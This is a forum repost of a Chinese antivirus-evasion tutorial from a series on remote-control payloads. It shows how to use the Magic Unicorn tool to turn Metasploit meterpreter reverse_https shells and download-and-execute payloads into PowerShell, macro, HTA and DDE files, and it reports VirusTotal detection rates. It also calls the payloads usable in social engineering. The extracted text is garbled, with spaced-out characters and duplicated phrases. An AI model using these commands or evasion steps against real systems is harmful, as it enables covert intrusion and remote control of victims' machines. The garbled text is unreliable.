搜索

[26964] 2020-04-20_远控免杀专题(16)-Unicorn免杀(VT免杀率2956)

文档创建者：s7ckTeam
浏览次数：32
最后更新：2025-01-19
2020-04-20_远控免杀专题(16)-Unicorn免杀(VT免杀率2956) 远 控 免 杀 专 题 ( 1 6 ) - U n i c o r n 免 杀 ( V T 免 杀 率 2 9 / 5 6 ) M s 0 8 0 6 7 安 全 实 验 室   2 0 2 0 - 0 4 - 2 0 以 下 文 章 来 源 于 T i d e 安 全 团 队   ， 作 者 重 剑 无 锋 声 明 ： 文 中 所 涉 及 的 技 术 、 思 路 和 工 具 仅 供 以 安 全 为 目 的 的 学 习 交 流 使 用 ， 任 何 人 不 得 将 其 用 于 非 法 用 途 以 及 盈 利 等 目 的 ， 否 则 后 果 自 行 承 声 明 ： 文 中 所 涉 及 的 技 术 、 思 路 和 工 具 仅 供 以 安 全 为 目 的 的 学 习 交 流 使 用 ， 任 何 人 不 得 将 其 用 于 非 法 用 途 以 及 盈 利 等 目 的 ， 否 则 后 果 自 行 承 担 ！ 担 ！ 本 专 题 文 章 导 航 本 专 题 文 章 导 航 1 . 远 控 免 杀 专 题 ( 1 ) - 基 础 篇 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / 3 L Z _ c j 2 g D C 1 b Q A T x q B f w e g 2 . 远 控 免 杀 专 题 ( 2 ) - m s f v e n o m 隐 藏 的 参 数 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / 1 r 0 i a k L p n L r j C r O p 2 g T 1 0 w 3 . 远 控 免 杀 专 题 ( 3 ) - m s f 自 带 免 杀 ( V T 免 杀 率 3 5 / 6 9 ) ： h t t p s : / / m p . w e i x i n . q q . c o m / s / A 0 C Z s l L h C L O K _ H g k H G c p E A 4 . 远 控 免 杀 专 题 ( 4 ) - E v a s i o n 模 块 ( V T 免 杀 率 1 2 / 7 1 ) ： h t t p s : / / m p . w e i x i n . q q . c o m / s / Y n n C M 7 W 2 0 x S c v 5 2 k _ u b x Y Q 5 . 远 控 免 杀 专 题 ( 5 ) - V e i l 免 杀 ( V T 免 杀 率 2 3 / 7 1 ) : h t t p s : / / m p . w e i x i n . q q . c o m / s / - P H V I A Q V y U 8 Q I p H w c p N 4 y w 6 . 远 控 免 杀 专 题 ( 6 ) - V e n o m 免 杀 ( V T 免 杀 率 1 1 / 7 1 ) : h t t p s : / / m p . w e i x i n . q q . c o m / s / C b f x u p S W E P B 8 6 t B Z s m x N C Q 7 . 远 控 免 杀 专 题 ( 7 ) - S h e l l t e r 免 杀 ( V T 免 杀 率 7 / 6 9 ) ： h t t p s : / / m p . w e i x i n . q q . c o m / s / A S n l d n 6 n k 6 8 D 4 b w k f Y m 3 G g 8 . 远 控 免 杀 专 题 ( 8 ) - B a c k D o o r - F a c t o r y 免 杀 ( V T 免 杀 率 1 3 / 7 1 ) ： h t t p s : / / m p . w e i x i n . q q . c o m / s / A 3 0 J H h X h w e 4 5 x V 7 h v 8 j v V Q 9 . 远 控 免 杀 专 题 ( 9 ) - A v e t 免 杀 ( V T 免 杀 率 1 4 / 7 1 ) ： h t t p s : / / m p . w e i x i n . q q . c o m / s / E I f q A b M C 8 H o C 6 x c Z P 9 S X p A 1 0 . 远 控 免 杀 专 题 ( 1 0 ) - T h e F a t R a t 免 杀 ( V T 免 杀 率 2 2 / 7 0 ) ： h t t p s : / / m p . w e i x i n . q q . c o m / s / z O v w f m E t b k p G W W B n 6 4 2 I C A 1 1 . 远 控 免 杀 专 题 ( 1 1 ) - A v o i d z 免 杀 ( V T 免 杀 率 2 3 / 7 1 ) ： h t t p s : / / m p . w e i x i n . q q . c o m / s / T n f T X i h l y v 6 9 6 u C i v 3 a W f g 1 2 . 远 控 免 杀 专 题 ( 1 2 ) - G r e e n - H a t - S u i t e 免 杀 ( V T 免 杀 率 2 3 / 7 0 ) ： h t t p s : / / m p . w e i x i n . q q . c o m / s / M V J T X O I q j g L 7 i E H r n q 6 O J g 1 3 . 远 控 免 杀 专 题 ( 1 3 ) - z i r i k a t u 免 杀 ( V T 免 杀 率 3 9 / 7 1 ) ： h t t p s : / / m p . w e i x i n . q q . c o m / s / 5 x L u u 5 U f F 4 c Q b C q _ 6 J e q y A 1 4 . 远 控 免 杀 专 题 ( 1 4 ) - A V I a t o r 免 杀 ( V T 免 杀 率 2 5 / 6 9 ) ： h t t p s : / / m p . w e i x i n . q q . c o m / s / J Y M q _ q H v n s l V l q i j H N n y 8 Q 1 5 . 远 控 免 杀 专 题 ( 1 5 ) - D K M C 免 杀 ( V T 免 杀 率 8 / 5 5 ) ： h t t p s : / / m p . w e i x i n . q q . c o m / s / U Z q O B Q K E M c X t F 5 Z U 7 E 5 5 F g 1 6 . 远 控 免 杀 专 题 ( 1 6 ) - U n i c o r n 免 杀 ( V T 免 杀 率 2 9 / 5 6 ) ： 本 文 文 章 打 包 下 载 及 相 关 软 件 下 载 ： 文 章 打 包 下 载 及 相 关 软 件 下 载 ： T i d e 安 全 团 队 安 全 团 队   . T i d e 安 全 团 队 以 信 安 技 术 研 究 为 目 标 ， 致 力 于 分 享 高 质 量 原 创 文 章 、 开 源 安 全 工 具 、 交 流 安 全 技 术 ， 研 究 方 向 覆 盖 网 络 攻 防 、 W e b 安 全 、 移 动 终 端 、 安 全 开 发 、 物 联 网 / 工 控 安 全 / A I 安 全 等 多 个 领 域 ， 对 安 全 感 兴 趣 的 小 伙 伴 可 以 关 注 我 们 。 h t t p s : / / g i t h u b . c o m / T i d e S e c / B y p a s s A n t i V i r u s
免 杀 能 力 一 览 表 免 杀 能 力 一 览 表 几 点 说 明 ： 几 点 说 明 ： 1 、 上 表 中 标 识 、 上 表 中 标 识   √   说 明 相 应 杀 毒 软 件 未 检 测 出 病 毒 ， 也 就 是 代 表 了 说 明 相 应 杀 毒 软 件 未 检 测 出 病 毒 ， 也 就 是 代 表 了 B y p a s s 。 。 2 、 为 了 更 好 的 对 比 效 果 ， 大 部 分 测 试 、 为 了 更 好 的 对 比 效 果 ， 大 部 分 测 试 p a y l o a d 均 使 用 均 使 用 m s f 的 的 模 块 生 成 。 模 块 生 成 。 3 、 由 于 本 机 测 试 时 只 是 安 装 了 、 由 于 本 机 测 试 时 只 是 安 装 了 3 6 0 全 家 桶 和 火 绒 ， 所 以 默 认 情 况 下 全 家 桶 和 火 绒 ， 所 以 默 认 情 况 下 3 6 0 和 火 绒 杀 毒 情 况 指 的 是 静 态 和 火 绒 杀 毒 情 况 指 的 是 静 态 + 动 态 查 杀 。 动 态 查 杀 。 3 6 0 杀 毒 版 本 杀 毒 版 本 ( 2 0 2 0 . 0 1 . 0 1 ) ， 火 绒 版 本 ， 火 绒 版 本 ( 2 0 2 0 . 0 1 . 0 1 ) ， ， 3 6 0 安 全 卫 士 安 全 卫 士 ( 2 0 2 0 . 0 1 . 0 1 ) 。 。 4 、 其 他 杀 软 的 检 测 指 标 是 在 、 其 他 杀 软 的 检 测 指 标 是 在 （ 简 称 （ 简 称 V T ） 上 在 线 查 杀 ， 所 以 可 能 只 是 代 表 了 静 态 查 杀 能 力 ， 数 据 仅 供 参 考 ， 不 足 以 作 为 免 杀 或 杀 软 能 力 的 判 断 指 标 。 ） 上 在 线 查 杀 ， 所 以 可 能 只 是 代 表 了 静 态 查 杀 能 力 ， 数 据 仅 供 参 考 ， 不 足 以 作 为 免 杀 或 杀 软 能 力 的 判 断 指 标 。 5 、 完 全 不 必 要 苛 求 一 种 免 杀 技 术 能 、 完 全 不 必 要 苛 求 一 种 免 杀 技 术 能 b y p a s s 所 有 杀 软 ， 这 样 的 技 术 肯 定 是 有 的 ， 只 是 没 被 公 开 ， 一 旦 公 开 第 二 天 就 能 被 杀 了 ， 其 实 我 们 只 要 能 所 有 杀 软 ， 这 样 的 技 术 肯 定 是 有 的 ， 只 是 没 被 公 开 ， 一 旦 公 开 第 二 天 就 能 被 杀 了 ， 其 实 我 们 只 要 能 b y p a s s 目 标 主 机 上 的 杀 软 就 足 够 了 。 目 标 主 机 上 的 杀 软 就 足 够 了 。 一 、 一 、 U n i c o r n 介 绍 介 绍 w i n d o w s / m e t e r p e r t e r / r e v e r s e _ t c p 5 . 0 . 0 . 8 1 6 0 5 . 0 . 3 4 . 1 6 1 2 . 0 . 0 . 2 0 0 2 v i r u s t o t a l . c o m
M a g i c   U n i c o r n 是 一 个 比 较 简 单 的 小 工 具 ， 主 要 是 基 于 M a t t h e w   G r a e b e r 提 出 的 P o w e r S h e l l 攻 击 技 术 以 及 D a v i d   K e n n e d y 和 J o s h   K e l l y   提 出 的 p o w e r s h e l l   b y p a s s 技 术 ， 把 所 有 p a y l o a d 都 转 换 成 p o w e r s h e l l 代 码 。 M a g i c   U n i c o r n 支 持 c o b a l t   s t r i k e 、 M e t a s p l o i t 和 自 定 义 的 s h e l l c o d e 。 二 、 安 装 二 、 安 装 U n i c o r n 安 装 比 较 简 单 都 不 需 要 安 装 其 他 的 p y t h o n 库 ， 就 可 以 直 接 运 行 。 当 然 还 是 需 要 已 经 安 装 了 M s f 才 行 ， 因 为 U n i c o r n 生 成 p a y l o a d 还 是 依 赖 m s f , 只 不 过 它 把 p a y l o a d 转 换 成 了 p o w e r s h e l l 命 令 来 运 行 。 执 行 即 可 。 三 、 三 、 U n i c o r n 使 用 说 明 使 用 说 明 可 以 使 用 命 令 查 看 详 细 帮 助 主 要 的 几 个 用 法 如 下 ： g i t   c l o n e   h t t p s : / / g i t h u b . c o m / t r u s t e d s e c / u n i c o r n . g i t p y t h o n   u n i c o r n . p y p y t h o n   u n i c o r n . p y   - - h e l p U s a g e :   p y t h o n   u n i c o r n . p y   p a y l o a d   r e v e r s e _ i p a d d r   p o r t   < o p t i o n a l   h t a   o r   m a c r o ,   c r t > P S   E x a m p l e :   p y t h o n   u n i c o r n . p y   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ h t t p s   1 9 2 . 1 6 8 . 1 . 5   4 4 3 P S   D o w n / E x e c :   p y t h o n   u n i c o r n . p y   w i n d o w s / d o w n l o a d _ e x e c   u r l = h t t p : / / b a d u r l . c o m / p a y l o a d . e x e P S   D o w n / E x e c   M a c r o :   p y t h o n   u n i c o r n . p y   w i n d o w s / d o w n l o a d _ e x e c   u r l = h t t p : / / b a d u r l . c o m / p a y l o a d . e x e   m a c r o
支 持 生 成 p s 1 、 m a c r o 、 h t a 、 d d e 等 形 式 的 代 码 和 文 件 。 四 、 利 用 四 、 利 用 U n i c o r n 生 成 后 门 生 成 后 门 我 以 最 常 规 的 来 生 成 p a y l o a d 生 成 命 令 为 其 中 和 是 我 m s f 监 听 的 i p 和 端 口 生 成 了 两 个 文 件 和 其 中 M a c r o   E x a m p l e :   p y t h o n   u n i c o r n . p y   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ h t t p s   1 9 2 . 1 6 8 . 1 . 5   4 4 3   m a c r o M a c r o   E x a m p l e   C S :   p y t h o n   u n i c o r n . p y   < c o b a l t _ s t r i k e _ f i l e . c s >   c s   m a c r o H T A   E x a m p l e :   p y t h o n   u n i c o r n . p y   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ h t t p s   1 9 2 . 1 6 8 . 1 . 5   4 4 3   h t a H T A   S e t t i n g C o n t e n t - m s   M e t a s p l o i t :   p y t h o n   u n i c o r n . p y   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ h t t p s   1 9 2 . 1 6 8 . 1 . 5   4 4 3   m s H T A   E x a m p l e   C S :   p y t h o n   u n i c o r n . p y   < c o b a l t _ s t r i k e _ f i l e . c s >   c s   h t a H T A   E x a m p l e   S e t t i n g C o n t e n t - m s :   p y t h o n   u n i c o r n . p y   < c o b a l t _ s t r i k e _ f i l e . c s   c s   m s H T A   E x a m p l e   S e t t i n g C o n t e n t - m s :   p y t h o n   u n i c o r n . p y   < p a t t h _ t o _ s h e l l c o d e . t x t > :   s h e l l c o d e   m s D D E   E x a m p l e :   p y t h o n   u n i c o r n . p y   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ h t t p s   1 9 2 . 1 6 8 . 1 . 5   4 4 3   d d e C R T   E x a m p l e :   p y t h o n   u n i c o r n . p y   < p a t h _ t o _ p a y l o a d / e x e _ e n c o d e >   c r t C u s t o m   P S 1   E x a m p l e :   p y t h o n   u n i c o r n . p y   < p a t h   t o   p s 1   f i l e > C u s t o m   P S 1   E x a m p l e :   p y t h o n   u n i c o r n . p y   < p a t h   t o   p s 1   f i l e >   m a c r o   5 0 0 C o b a l t   S t r i k e   E x a m p l e :   p y t h o n   u n i c o r n . p y   < c o b a l t _ s t r i k e _ f i l e . c s >   c s   ( e x p o r t   C S   i n   C #   f o r m a t ) C u s t o m   S h e l l c o d e :   p y t h o n   u n i c o r n . p y   < p a t h _ t o _ s h e l l c o d e . t x t >   s h e l l c o d e   ( f o r m a t t e d   0 x 0 0   o r   m e t a s p l o i t ) C u s t o m   S h e l l c o d e   H T A :   p y t h o n   u n i c o r n . p y   < p a t h _ t o _ s h e l l c o d e . t x t >   s h e l l c o d e   h t a   ( f o r m a t t e d   0 x 0 0   o r   m e t a s p l o i t ) C u s t o m   S h e l l c o d e   M a c r o :   p y t h o n   u n i c o r n . p y   < p a t h _ t o _ s h e l l c o d e . t x t >   s h e l l c o d e   m a c r o   ( f o r m a t t e d   0 x 0 0   o r   m e t a s p l o i t ) G e n e r a t e   . S e t t i n g C o n t e n t - m s :   p y t h o n   u n i c o r n . p y   m s H e l p   M e n u :   p y t h o n   u n i c o r n . p y   - - h e l p w i n d o w s / m e t e r p r e t e r / r e v e r s e _ h t t p s p y t h o n   u n i c o r n . p y   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ h t t p s   1 0 . 2 1 1 . 5 5 . 2   3 3 3 4 1 0 . 2 1 1 . 5 5 . 2 3 3 3 4 p o w e r s h e l l _ a t t a c k . t x t u n i c o r n . r c p o w e r s h e l l _ a t t a c k . t x t
是 生 成 的 p a y l o a d 而 是 m s f 配 置 文 件 ， 也 就 是 用 命 令 可 以 快 捷 的 启 动 m s f 并 监 听 相 应 端 口 然 后 我 们 在 测 试 机 器 上 执 行 里 的 代 码 可 正 常 上 线 p o w e r s h e l l _ a t t a c k . t x t u n i c o r n . r c m s f c o n s o l e   - r   u n i c o r n . r c p o w e r s h e l l _ a t t a c k . t x t
可 以 把 p o w e r s h e l l 代 码 转 换 成 e x e ， 使 用 b a t 2 e x e 就 可 以 ， 生 成 执 行 ， 发 现 触 发 了 3 6 0 安 全 卫 士 的 行 为 检 测 ， 不 过 火 绒 没 有 反 应 。 v i r u s t o t a l . c o m 上 文 件 的 查 杀 率 为 1 4 / 5 7 p s 1 . e x e p s 1 . e x e p o w e r s h e l l _ a t t a c k . t x t
v i r u s t o t a l . c o m 上 文 件 的 查 杀 率 为 3 6 / 6 9 ， 转 e x e 后 略 微 有 点 惨 。 后 来 生 成 了 一 个 h t a 文 件 进 行 测 试 ， v i r u s t o t a l . c o m 上 查 杀 率 为 2 9 / 5 6 四 、 小 结 四 、 小 结 U n i c o r n 使 用 比 较 简 单 ， 可 以 生 成 p o w e r s h e l l 代 码 、 m a c r o 宏 代 码 、 h t a 、 d d e 等 格 式 的 p a y l o a d 文 件 ， 可 以 在 社 工 时 直 接 使 用 ， 不 过 因 为 生 成 的 代 码 关 键 字 比 较 明 显 ， 所 以 静 态 查 杀 很 多 都 没 通 过 ， 只 能 说 生 成 代 码 多 样 但 免 杀 效 果 一 般 。 上 面 用 到 b a t 2 e x e 工 具 和 p s 1 . e x e z i r i k a t u
已 经 放 在 t o o l s 文 件 夹 中 , 还 算 挺 好 使 。 参 考 参 考 m a g i c - u n i c o r n ： 过 w i n 1 0 防 火 墙 和 w i n d o w s   d e f e n d e r ： 扫 描 下 方 二 维 码 学 习 更 多 安 全 知 识 ： 扫 描 下 方 二 维 码 学 习 更 多 安 全 知 识 ： M s 0 8 0 6 7 安 全 实 验 室 安 全 实 验 室 专 注 于 普 及 网 络 安 全 知 识 。 团 队 已 出 版 《 W e b 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 ， 《 内 网 安 全 攻 防 ： 《 内 网 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 渗 透 测 试 实 战 指 南 》 ， 目 前 在 编 P y t h o n 渗 透 测 试 ， J A V A 代 码 审 计 和 二 进 制 逆 向 方 面 的 书 籍 。 团 队 公 众 号 定 期 分 享 关 于 C T F 靶 场 、 内 网 渗 透 、 A P T 方 面 技 术 干 货 ， 从 零 开 始 、 以 实 战 落 地 为 主 ， 致 力 于 做 一 个 实 用 的 干 货 分 享 型 公 众 号 。 官 方 网 站 ： w w w . m s 0 8 0 6 7 . c o m z i r i k a t u h t t p s : / / g i t h u b . c o m / T i d e S e c / B y p a s s A n t i V i r u s / t r e e / m a s t e r / t o o l s h t t p s : / / w w w . h a c k i n g a r t i c l e s . i n / m a g i c - u n i c o r n - p o w e r s h e l l - d o w n g r a d e - a t t a c k - a n d - e x p l o i t a t i o n - t o o l / h t t p s : / / n u l l - b y t e . w o n d e r h o w t o . c o m / h o w - t o / h a c k i n g - w i n d o w s - 1 0 - c r e a t e - u n d e t e c t a b l e - p a y l o a d - p a r t - 1 - b y p a s s i n g - a n t i v i r u s - s o f t w a r e - 0 1 8 5 0 5 5 /
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理